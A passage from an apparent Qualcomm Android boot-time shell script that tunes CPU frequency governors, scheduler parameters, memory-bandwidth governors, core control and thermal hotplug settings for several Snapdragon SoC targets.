echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
#colocation v3 settings
echo 740000 > /proc/sys/kernel/sched_little_cluster_coloc_fmin_khz
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/down_rate_limit_us
echo 1248000 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 576000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu6/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/down_rate_limit_us
echo 1267200 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_freq
echo 652800 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
# sched_load_boost as -6 is equivalent to target load as 85. It is per cpu tunable.
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 85 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_load
echo "0:1248000" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "2288 4577 7110 9155 12298 14236" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 68 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 40 > $llccbw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881 8137" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 68 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 0 > $llccbw/bw_hwmon/hyst_length
echo 80 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
done
for npubw in $device/*npu*-npu-ddr-bw/devfreq/*npu*-npu-ddr-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npubw/governor
echo 40 > $npubw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881 8137" > $npubw/bw_hwmon/mbps_zones
echo 4 > $npubw/bw_hwmon/sample_ms
echo 80 > $npubw/bw_hwmon/io_percent
echo 20 > $npubw/bw_hwmon/hist_memory
echo 10 > $npubw/bw_hwmon/hyst_length
echo 30 > $npubw/bw_hwmon/down_thres
echo 0 > $npubw/bw_hwmon/guard_band_mbps
echo 250 > $npubw/bw_hwmon/up_scale
echo 0 > $npubw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
#Enable mem_latency governor for L3, LLCC, and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable cdspl3 governor for L3 cdsp nodes
for l3cdsp in $device/*cdsp-cdsp-l3-lat/devfreq/*cdsp-cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Gold L3 ratio ceil
echo 4000 > /sys/class/devfreq/soc:qcom,cpu6-cpu-l3-lat/mem_latency/ratio_ceil
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu*-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
done
# cpuset parameters
echo 0-5 > /dev/cpuset/background/cpus
echo 0-5 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
case "$target" in
"bengal")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"417" )
# Core control is temporarily disabled till bring up
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/enable
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
# Core control parameters on big
echo 40 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 67 > /proc/sys/kernel/sched_downmigrate
echo 77 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
# cpuset settings
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/down_rate_limit_us
echo 1305600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 614400 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rtg_boost_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/down_rate_limit_us
echo 1401600 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_freq
echo 1056000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/rtg_boost_freq
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# sched_load_boost as -6 is equivalent to target load as 85. It is per cpu tunable.
echo -6 > /sys/devices/system/cpu/cpu0/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu1/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu2/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu3/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu4/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu5/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_load
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_load
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
ddr_type=`od -An -tx /proc/device-tree/memory/ddr_device_type`
ddr_type4="07"
ddr_type3="05"
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-ddr-bw/devfreq/*cpu-cpu-ddr-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo 762 > $cpubw/min_freq
if [ ${ddr_type:4:2} == $ddr_type4 ]; then
# LPDDR4
echo "2288 3440 4173 5195 5859 7759 10322 11863 13763" > $cpubw/bw_hwmon/mbps_zones
echo 85 > $cpubw/bw_hwmon/io_percent
fi
if [ ${ddr_type:4:2} == $ddr_type3 ]; then
# LPDDR3
echo "1525 3440 5195 5859 7102" > $cpubw/bw_hwmon/mbps_zones
echo 34 > $cpubw/bw_hwmon/io_percent
fi
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 90 > $cpubw/bw_hwmon/decay_rate
echo 190 > $cpubw/bw_hwmon/bw_step
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
for latfloor in $device/*cpu*-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
done
# colcoation v3 disabled
echo 0 > /proc/sys/kernel/sched_min_task_util_for_boost
echo 0 > /proc/sys/kernel/sched_min_task_util_for_colocation
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn off sleep modes till bring up
# sleep modes to be enabled after bring up
echo 1 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
;;
esac
case "$target" in
"qcs605")
#Apply settings for qcs605
# Set the default IRQ affinity to the silver cluster. When a
# CPU is isolated/hotplugged, the IRQ affinity is adjusted
# to one of the CPU from the default IRQ affinity mask.
echo 3f > /proc/irq/default_smp_affinity
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
case "$soc_id" in
"347" )
# Start Host based Touch processing
case "$hw_platform" in
"Surf" | "RCM" | "QRD" )
start_hbtp
;;
"MTP" )
if [ $platform_subtype_id != 5 ]; then
start_hbtp
fi
;;
esac
# Core control parameters on silver
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/is_big_cluster
echo 8 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 96 > /proc/sys/kernel/sched_upmigrate
echo 90 > /proc/sys/kernel/sched_downmigrate
echo 140 > /proc/sys/kernel/sched_group_upmigrate
echo 120 > /proc/sys/kernel/sched_group_downmigrate
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 576000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu6/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/rate_limit_us
echo 1344000 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_freq
echo 825600 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo "0:1209600" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 68 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/low_power_ceil_mbps
echo 68 > $cpubw/bw_hwmon/low_power_io_percent
echo 20 > $cpubw/bw_hwmon/low_power_delay
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
#Enable mem_latency governor for DDR scaling
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable mem_latency governor for L3 scaling
for memlat in /sys/class/devfreq/*qcom,l3-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
echo "cpufreq" > /sys/class/devfreq/soc:qcom,mincpubw/governor
# cpuset parameters
echo 0-5 > /dev/cpuset/background/cpus
echo 0-5 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes.
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
echo 100 > /proc/sys/vm/swappiness
;;
esac
;;
esac
case "$target" in
"apq8084")
echo 4 > /sys/module/lpm_levels/enable_low_power/l2
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/retention/idle_enabled
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
for devfreq_gov in /sys/class/devfreq/qcom,cpubw*/governor
do
echo "cpubw_hwmon" > $devfreq_gov
done
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "interactive" > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo "interactive" > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo "interactive" > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor
echo "20000 1400000:40000 1700000:20000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 1497600 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo "85 1500000:90 1800000:70" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 20 > /sys/module/cpu_boost/parameters/boost_ms
echo 1728000 > /sys/module/cpu_boost/parameters/sync_threshold
echo 100000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
echo 1497600 > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
echo 1 > /dev/cpuctl/apps/cpu.notify_on_migrate
echo 300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 1 > /sys/module/msm_thermal/core_control/enabled
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h root.system /sys/devices/system/cpu/mfreq
chmod -h 220 /sys/devices/system/cpu/mfreq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chown -h root.system /sys/devices/system/cpu/cpu2/online
chown -h root.system /sys/devices/system/cpu/cpu3/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu2/online
chmod -h 664 /sys/devices/system/cpu/cpu3/online
;;
esac
case "$target" in
"mpq8092")
echo 4 > /sys/module/lpm_levels/enable_low_power/l2
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/retention/idle_enabled
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 1 > /sys/module/msm_thermal/core_control/enabled
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h root.system /sys/devices/system/cpu/mfreq
chmod -h 220 /sys/devices/system/cpu/mfreq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chown -h root.system /sys/devices/system/cpu/cpu2/online
chown -h root.system /sys/devices/system/cpu/cpu3/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu2/online
chmod -h 664 /sys/devices/system/cpu/cpu3/online
;;
esac
case "$target" in
"msm8992")
# disable thermal bcl hotplug to switch governor
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo -n disable > /sys/devices/soc.*/qcom,bcl.*/mode
bcl_hotplug_mask=`cat /sys/devices/soc.*/qcom,bcl.*/hotplug_mask`
echo 0 > /sys/devices/soc.*/qcom,bcl.*/hotplug_mask
echo -n enable > /sys/devices/soc.*/qcom,bcl.*/mode
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# configure governor settings for little cluster
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 19000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo 80 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 80000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 384000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# online CPU4
echo 1 > /sys/devices/system/cpu/cpu4/online
# configure governor settings for big cluster
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo 19000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 1536000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 80000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
echo 384000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# re-enable thermal and BCL hotplug
echo 1 > /sys/module/msm_thermal/core_control/enabled
echo -n disable > /sys/devices/soc.*/qcom,bcl.*/mode
echo $bcl_hotplug_mask > /sys/devices/soc.*/qcom,bcl.*/hotplug_mask
echo $bcl_soc_hotplug_mask > /sys/devices/soc.*/qcom,bcl.*/hotplug_soc_mask
echo -n enable > /sys/devices/soc.*/qcom,bcl.*/mode
# plugin remaining A57s
echo 1 > /sys/devices/system/cpu/cpu5/online
# input boost configuration
echo 0:1248000 > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Enable task migration fixups in the scheduler
echo 1 > /proc/sys/kernel/sched_migration_fixup
for devfreq_gov in /sys/class/devfreq/qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
done
#enable rps static configuration
echo 8 > /sys/class/net/rmnet_ipa0/queues/rx-0/rps_cpus
echo 30 > /proc/sys/kernel/sched_small_task
;;
esac
case "$target" in
"msm8994")
# ensure at most one A57 is online when thermal hotplug is disabled
echo 0 > /sys/devices/system/cpu/cpu5/online
echo 0 > /sys/devices/system/cpu/cpu6/online
echo 0 > /sys/devices/system/cpu/cpu7/online
# in case CPU4 is online, limit its frequency
echo 960000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
# Limit A57 max freq from msm_perf module in case CPU 4 is offline
echo "4:960000 5:960000 6:960000 7:960000" > /sys/module/msm_performance/parameters/cpu_max_freq
# disable thermal bcl hotplug to switch governor
echo 0 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
bcl_hotplug_mask=`cat $hotplug_mask`
echo 0 > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
bcl_soc_hotplug_mask=`cat $hotplug_soc_mask`
echo 0 > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# configure governor settings for little cluster
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 19000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo 80 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 80000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 384000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# online CPU4
echo 1 > /sys/devices/system/cpu/cpu4/online
# Best effort limiting for first time boot if msm_performance module is absent
echo 960000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
# configure governor settings for big cluster
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo "19000 1400000:39000 1700000:19000" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 1248000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "85 1500000:90 1800000:70" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 80000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
echo 384000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# restore A57's max
cat /sys/devices/system/cpu/cpu4/cpufreq/cpuinfo_max_freq > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
# re-enable thermal and BCL hotplug
echo 1 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
echo $bcl_hotplug_mask > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
echo $bcl_soc_hotplug_mask > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# plugin remaining A57s
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# Restore CPU 4 max freq from msm_performance
echo "4:4294967295 5:4294967295 6:4294967295 7:4294967295" > /sys/module/msm_performance/parameters/cpu_max_freq
# input boost configuration
echo 0:1344000 > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Setting b.L scheduler parameters
